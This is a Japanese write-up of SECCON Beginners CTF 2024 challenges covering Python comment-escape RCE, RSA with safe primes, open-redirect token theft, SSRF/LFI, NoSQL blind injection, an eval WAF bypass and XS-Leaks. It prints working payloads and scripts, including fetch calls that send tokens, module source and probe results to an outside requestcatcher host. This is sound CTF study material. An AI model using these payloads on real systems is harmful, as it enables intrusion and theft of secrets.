https://score.beginners.seccon.jp/
whitecatsで20位!SECCON Beginners CTFなので詳細に書こうかと思っていたら、Writeupバトルに出遅れて質の良いWriteupに溢れていたのでいつも通り淡泊に書きます。
チームメイトのWriteup! SECCON Beginners CTF 2024 Write-up - amaga38のブログ
- [Misc] commentator
- [Crypto] Safe Prime
- [Web] wooorker
- [Web] wooorker2
- [Web] ssrforlfi
- [Web] double-leaks
- [Web] flagAlias
- [Web] htmls
[Misc] commentator
以下のように入力値の頭にコメントの#
を追記した状態でpythonコードを実行する環境が与えられる。
python = "" while True: line = input(">>> ").replace("\r", "") if "__EOF__" in line: python += 'print("thx :)")' break python += f"# {line}\n" # comment :) pyfile = f"/tmp/{uuid.uuid4()}.py" with open(pyfile, "w") as f: f.write(python) os.system(f"python {pyfile}") os.remove(pyfile)
フラグはRUN mv /flag.txt /flag-$(md5sum /flag.txt | awk '{print $1}').txt
のように用意されるのでRCEする必要がある。コメントであっても、raw_unicode_escapeを使って実行させるテクがあるので、これを使おう。
# coding: raw_unicode_escape #\u000aimport os #\u000aos.system("cat /flag*")
と実行されることを期待して以下のように入力するとフラグが手に入る。
coding: raw_unicode_escape \u000aimport os \u000aos.system("cat /flag*") __EOF__
[Crypto] Safe Prime
import os from Crypto.Util.number import getPrime, isPrime FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode() m = int.from_bytes(FLAG, 'big') while True: p = getPrime(512) q = 2 * p + 1 if isPrime(q): break n = p * q e = 65537 c = pow(m, e, n) print(f"{n = }") print(f"{c = }")
n = p * q
部分をq = 2 * p + 1
を使って整理していくと、一元二次方程式になるのでsageで解ける。
n = pq n = p(2p+1) n = 2p^2+p 2p^2+p-n=0 となるので以下のようにsageでpを計算し、そこから、qを計算する。 sage: n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 sage: c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 sage: p = var('p') sage: solve([2*p^2+p-n==0], p) p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393 q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291 c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861 e = 65537 p = 12102218132092788983076120827660793302772954212820202862795152183026727457303468297417870419059113694288380193533843580519380239112707203650532664240934393 q = 24204436264185577966152241655321586605545908425640405725590304366053454914606936594835740838118227388576760387067687161038760478225414407301065328481868787 assert p*q == n from Crypto.Util.number import * d = inverse(e, (p-1)*(q-1)) m = pow(c, d, n) print(long_to_bytes(m))
[Web] wooorker
ソースコード有り。フラグは以下にある。
app.get('/flag', (req, res) => { const token = req.headers.authorization?.split(' ')[1]; if (!token) { return res.status(401).json({ error: 'No token provided' }); } try { const decoded = jwt.verify(token, jwtSecret); if (decoded.isAdmin) { const flag = FLAG; res.status(200).json({ flag }); } else { res.status(403).json({ error: 'Access denied' }); } } catch (error) { res.status(401).json({ error: 'Invalid token' }); } });
tokenを手に入れればフラグが手に入る。ログイン後、tokenが手に入るわけだが、以下のようにクライアント側で利用している。
loginWorker.onmessage = function(event) { const { token, error } = event.data; if (error) { document.getElementById('errorContainer').innerText = error; return; } if (token) { const params = new URLSearchParams(window.location.search); const next = params.get('next'); if (next) { window.location.href = next.includes('token=') ? next: `${next}?token=${token}`; } else { window.location.href = `/?token=${token}`; } } };
ログイン後はnextにtokenをくっつけてhrefでリダイレクトしている。nextはquerystringで指定可能なので、ログインするときに、nextを自身のサイトに向けるようにすればtokenを含んでリクエストしてきてくれる。よって、requestcatcherのようなリクエストを記録してくれるような何かを用意してlogin?next=//[yours].requestcatcher.com/
をadmin botに渡せば、admin botのログイン後、nextの中身に従い、//[yours].requestcatcher.com/?token=[token]
に移動してきてくれるので、リクエストの記録からtokenを得ることができる。後はこれを使って以下のようにリクエストすればフラグが得られる。
GET /flag HTTP/1.1 Host: wooorker.beginners.seccon.games Authorization: hoge [leaked token]
これを見るとOAuthのオープンリダイレクトでトークンが漏洩するアレを思い出す。yuasaさんの問題らしさがある。
[Web] wooorker2
前問に比べてtokenをquerystringではなくhashで渡すように修正が加えられている。それ以外は前問と同じ。リダイレクト先が自由に変更できる状況は変わらないので、リダイレクトさせるとハッシュもちゃんと一緒についていってくれるので、遷移先でハッシュを外部送信するようにしてやればいい。
<script> fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: location.hash }) </script>
こういうのをホストして、ngrokを立ち上げて、login?next=//[yours].ngrok-free.app/solver.html
みたいなURLをadmin botに送れば、ハッシュに入れたものであっても持ってこれる。
[Web] ssrforlfi
ソースコード有り。フラグは環境変数の中にある。メインの処理は以下の部分。
@app.route("/") def ssrforlfi(): url = request.args.get("url") if not url: return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>" # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout
わざわざfileスキーマが使えるようになっているのが怪しい。検証が無ければfile:///proc/self/environ
でフラグが手に入るはずだが、ファイルが存在しているならば応答しないようにしてある。手元のメモを色々漁るとfileスキーマはlocalhostが入っていてもいけるらしい。これが手元メモに書いてあった。よって、/?url=file://localhost/proc/self/environ
とすればフラグが手に入る。
[Web] double-leaks
ソースコード有り。mongo dbがバックで動いているシステムが与えられる。ログイン機構は以下の通り。
@app.route("/login", methods=["POST"]) def login(): username = request.json["username"] password_hash = request.json["password_hash"] if waf(password_hash): return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400 try: client = get_mongo_client() db = client.get_database("double-leaks") users_collection = db.get_collection("users") user = users_collection.find_one( {"username": username, "password_hash": password_hash} ) if user is None: return jsonify({"message": "Invalid Credential"}), 401 # Confirm if credentials are valid just in case :smirk: if user["username"] != username or user["password_hash"] != password_hash: return jsonify({"message": "DO NOT CHEATING"}), 401 return jsonify( {"message": f"Login successful! Congrats! Here is the flag: {flag}"} ) except Exception: traceback.print_exc(file=sys.stderr) return jsonify({"message": "Internal Server Error"}), 500 finally: client.close()
$ne
を使ったNoSQLテクが使えそうだが、ファイルを取得した後に入力値が同じであるかを確かめている。しかし、合致した項目があったかどうかはInvalid Credential
応答かDO NOT CHEATING
応答かで判別ができるので、この応答の差を使って、Blindに情報を抜き出すことができそうだ。usernameは何も制約が無いので'username':{'$regex' : '^[既知の部分][不明な1文字]'}
を使って存在するかしないかを判定可能。
passwordの方が大変で、入力値がwaf関数に通されている。中身を見てみよう。
def waf(input_str): # DO NOT SEND STRANGE INPUTS! :rage: blacklist = [ "/", ".", "*", "=", "+", "-", "?", ";", "&", "\\", "=", " ^", "(", ")", "[", "]", "in", "where", "regex", ] return any([word in str(input_str) for word in blacklist])
regexは使えない。他にいい方法は無いか探すと、$gt
という<
で大小を判定する方法が見つかる。passwordはそのままではなくハッシュ化されたhex列として入っているため、全体を1つの整数として取り扱うことができ、$gt
を使えばいい感じに二分探索が可能になる。(二分探索を知らないと以降の説明だけでは理解が難しいかもしれない)つまり、'password_hash':{'$gt' : [hex列]}
としてやると、(与えたhex列) < (実際のパスワードハッシュ)
という条件で比較することになる。与えるhex列として0から0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffの間を考えてみると、0はTrue, 1はTrue, ... となってどこかの境界でxはTrue, x+1はFalseとなって、それ以降はFalseになるはずである。この境界がちょうどDBに格納されている実際のパスワードハッシュになるはずなので、この境界を探そう。
実装としては以下のようなスクリプトで両者抜き出すことができ、フラグが得られる。
import requests import time import string BASE = 'https://double-leaks.beginners.seccon.games/' def get_username(): ans = '' for _ in range(20): ok = False for c in string.printable: payload = '^{}{}.*'.format(ans, c) t = requests.post(BASE + 'login', json={'username':{'$regex' : payload}, 'password_hash':{'$ne':'hoge'}}).text print(f'challenge - {ans}{c}') time.sleep(1) if 'DO NOT CHEATING' in t: if c == '$': return ans ans += c ok = True print(f'Found!! {ans}') break if not ok: return ans return ans #username = get_username() username = 'ky0muky0mupur1n' print(f"username = {username}") def get_password_hash(): ok = 0 ng = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff while ok + 1 != ng: md = (ok + ng) // 2 payload = format(md, 'x') t = requests.post(BASE + 'login', json={'username':{'$ne':'hoge'}, 'password_hash':{'$gt' : payload}}).text print(f'challenge - {md}') time.sleep(1) if 'DO NOT CHEATING' in t: ok = md else: ng = md return format(ng, 'x') password_hash = get_password_hash() print(f"password_hash = {password_hash}") t = requests.post(BASE + 'login', json={'username':username, 'password_hash':password_hash}).text print(t)
[Web] flagAlias
ソースコード有り。flag.ts
というファイルがあり、以下のような感じ。
export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() { // **REDACTED** return "**REDACTED**"; } export function getFakeFlag() { return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"; }
関数を類測して持って来るのが想定解?とりあえず適当にgetRealFlagでも変名して手元で起動する。関数をどうやって呼ぶかであるが、以下のようにevalしている箇所がある。
export async function chall(alias = "`real fl${'a'.repeat(10)}g`") { const m: { [key: string]: string } = { "wonderful flag": "fake{wonderful_fake_flag}", "special flag": "fake{special_fake_flag}", }; try { // you can set the flag alias as the key const key = await eval(waf(alias)); m[key] = flag.getFakeFlag(); return JSON.stringify(Object.entries(m), null, 2); } catch (e) { return e.toString(); } }
ここで、読み込まれている関数名の一覧を取得して、かつ、それを呼べばフラグが得られそう。WAFとして入力値フィルタリングがある。
function waf(key: string) { // Wonderful WAF :) const ngWords = [ "eval", "Object", "proto", "require", "Deno", "flag", "ctf4b", "http", ]; for (const word of ngWords) { if (key.includes(word)) { return "'NG word detected'"; } } return key; }
この状態で頑張って色々抜き出してくる。ここから一日中頭を打ち付けて考えると以下でflag.tsに含まれる関数名の一覧を外部送信できた。
import('./fl'+'ag.ts').then((module) => {fetch('ht'+'tps://[yours].requestcatcher.com/'+JSON.constructor.keys(module))}) -> GET /getFakeFlag,getRealFlag_yUC2BwCtXEkg
JSON.constructor
としているのはObject
を取得するためだけに使っている。これで関数名が分かったので取り出してみよう。
import('./fl'+'ag.ts').then((module) => {fetch('ht'+'tps://[yours].requestcatcher.com/'+module['getRealFlag_yUC2BwCtXEkg']())}) -> GET /fake%7BThe%20flag%20is%20commented%20one%20line%20above%20here!%7D -> fake{The flag is commented one line above here!}
直接抜き出すのではだめみたい。toStringで関数の実装が抜けるので抜いてみるとフラグが含まれていた。よって、以下でフラグ獲得。
import('./fl'+'ag.ts').then((module) => {fetch('ht'+'tps://[yours].requestcatcher.com/'+module['getRealFlag_yUC2BwCtXEkg'].toString())}) -> /function getRealFlag_yUC2BwCtXEkg() { / Great! You found the flag! / ctf4b{■■■■■■■■■■■■■■■■■■■■■■■} return "fake{The flag is commented one line above here!}";}
[Web] htmls
ソースコード有り。与えられたHTMLファイルを開くアプリが与えられる。開いているロジック部分は以下。
async def crawl(filename): async with async_playwright() as p: browser = await p.chromium.launch() context = await browser.new_context(java_script_enabled=False) page = await context.new_page() await page.goto(f"file:///var/www/htmls/{filename}", timeout=5000) await browser.close() @app.route("/", methods=["POST"]) def index_post(): try: html = request.form.get("html") filename = f"{uuid.uuid4()}.html" with open(f"htmls/{filename}", "w+") as f: f.write(html) asyncio.run(crawl(f"{filename}")) os.remove(f"htmls/{filename}") except: pass return render_template("ok.html")
書き込んでfileスキーマで開いている。javascriptは無効化されているようだ。フラグの場所はというと、以下のように/var/www/htmls/ctf/
以下の深い所にランダムに配置されている。
#!/bin/bash rm -rf /var/www/htmls/ctf/* base_path="/var/www/htmls/ctf/" depth=$((RANDOM % 10 + 15)) current_path="$base_path" for i in $(seq 1 $depth); do char=$(printf "%d" $((RANDOM % 36))) if [[ $char -lt 26 ]]; then char=$(printf "\\$(printf "%03o" $((char + 97)) )") else char=$(printf "%d" $((char - 26))) fi current_path+="${char}/" mkdir -p "$current_path" done echo 'ctf4b{*****REDACTED*****}' > "${current_path}flag.txt"
実際に動かしてみると、/var/www/htmls/ctf/c/7/7/8/2/e/p/i/n/1/q/3/e/i/m/c/v/g/u/m/flag.txt
みたいな配置場所になる。webサーバには以下のようなディレクトリを指定してflag.txtを取得するエンドポイントがある。
@app.route("/flag/<path:flag_path>") def flag(flag_path): return send_from_directory("htmls/ctf/", os.path.join(flag_path, "flag.txt"))
よって、この問題の趣旨は、問題文htmlsにもあるように、htmlを使ってls的な感じでフォルダ名を取得してくる所にある。フォルダ名が1文字であることを考慮し、なんとなくXS-Leaksを疑って色々試すと、baseタグを使ったよくある手法が適用可能なことが分かった。
<object data="file:///var/www/htmls/ctf/a/"><object data="https://[yours].requestcatcher.com/a"></object></object>
このようなHTMLを用意して踏ませる。もし、フォルダaが存在していれば、中のobjectは読み込まれないので、request catcherにaというログは残らない。逆に、存在していなければ、中のobjectが呼ばれてrequest catcherにaというログが残る。なので、[0-9a-z]の範囲でこれを用意してやって踏ませれば、存在するフォルダ「以外」の文字がrequest catcherに記録が残る。よって、存在しない文字が存在するフォルダ名ということになる。これを繰り返して、1階層ずつフォルダ名を割り出すことで、flag.txtが存在するディレクトリを特定していく。
ということで具体的には以下のようなHTMLを送り付けることで解いていく。imgタグも入れているが、少ないobjectタグでテストしていたときにこれを入れないと、(恐らくbotが終了してしまうのか)うまくいかなかったので負荷をかけるのに入れている。
<img src="https://[yours].requestcatcher.com/hogehoge1" loading="lazy"> <img src="https://[yours].requestcatcher.com/hogehoge2" loading="lazy"> <img src="https://[yours].requestcatcher.com/hogehoge3" loading="lazy"> <img src="https://[yours].requestcatcher.com/hogehoge4" loading="lazy"> <img src="https://[yours].requestcatcher.com/hogehoge5" loading="lazy"> <img src="https://[yours].requestcatcher.com/hogehoge6" loading="lazy"> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/0/"><object data="https://[yours].requestcatcher.com/0"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/1/"><object data="https://[yours].requestcatcher.com/1"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/2/"><object data="https://[yours].requestcatcher.com/2"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/3/"><object data="https://[yours].requestcatcher.com/3"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/4/"><object data="https://[yours].requestcatcher.com/4"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/5/"><object data="https://[yours].requestcatcher.com/5"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/6/"><object data="https://[yours].requestcatcher.com/6"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/7/"><object data="https://[yours].requestcatcher.com/7"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/8/"><object data="https://[yours].requestcatcher.com/8"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/9/"><object data="https://[yours].requestcatcher.com/9"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/a/"><object data="https://[yours].requestcatcher.com/a"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/b/"><object data="https://[yours].requestcatcher.com/b"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/c/"><object data="https://[yours].requestcatcher.com/c"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/d/"><object data="https://[yours].requestcatcher.com/d"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/e/"><object data="https://[yours].requestcatcher.com/e"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/f/"><object data="https://[yours].requestcatcher.com/f"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/g/"><object data="https://[yours].requestcatcher.com/g"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/h/"><object data="https://[yours].requestcatcher.com/h"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/i/"><object data="https://[yours].requestcatcher.com/i"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/j/"><object data="https://[yours].requestcatcher.com/j"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/k/"><object data="https://[yours].requestcatcher.com/k"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/l/"><object data="https://[yours].requestcatcher.com/l"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/m/"><object data="https://[yours].requestcatcher.com/m"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/n/"><object data="https://[yours].requestcatcher.com/n"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/o/"><object data="https://[yours].requestcatcher.com/o"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/p/"><object data="https://[yours].requestcatcher.com/p"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/q/"><object data="https://[yours].requestcatcher.com/q"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/r/"><object data="https://[yours].requestcatcher.com/r"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/s/"><object data="https://[yours].requestcatcher.com/s"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/t/"><object data="https://[yours].requestcatcher.com/t"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/u/"><object data="https://[yours].requestcatcher.com/u"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/v/"><object data="https://[yours].requestcatcher.com/v"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/w/"><object data="https://[yours].requestcatcher.com/w"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/x/"><object data="https://[yours].requestcatcher.com/x"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/y/"><object data="https://[yours].requestcatcher.com/y"></object></object> <object data="file:///var/www/htmls/ctf/q/c/j/6/p/f/v/b/e/k/8/u/8/4/d/g/f/f/1/z/"><object data="https://[yours].requestcatcher.com/z"></object></object>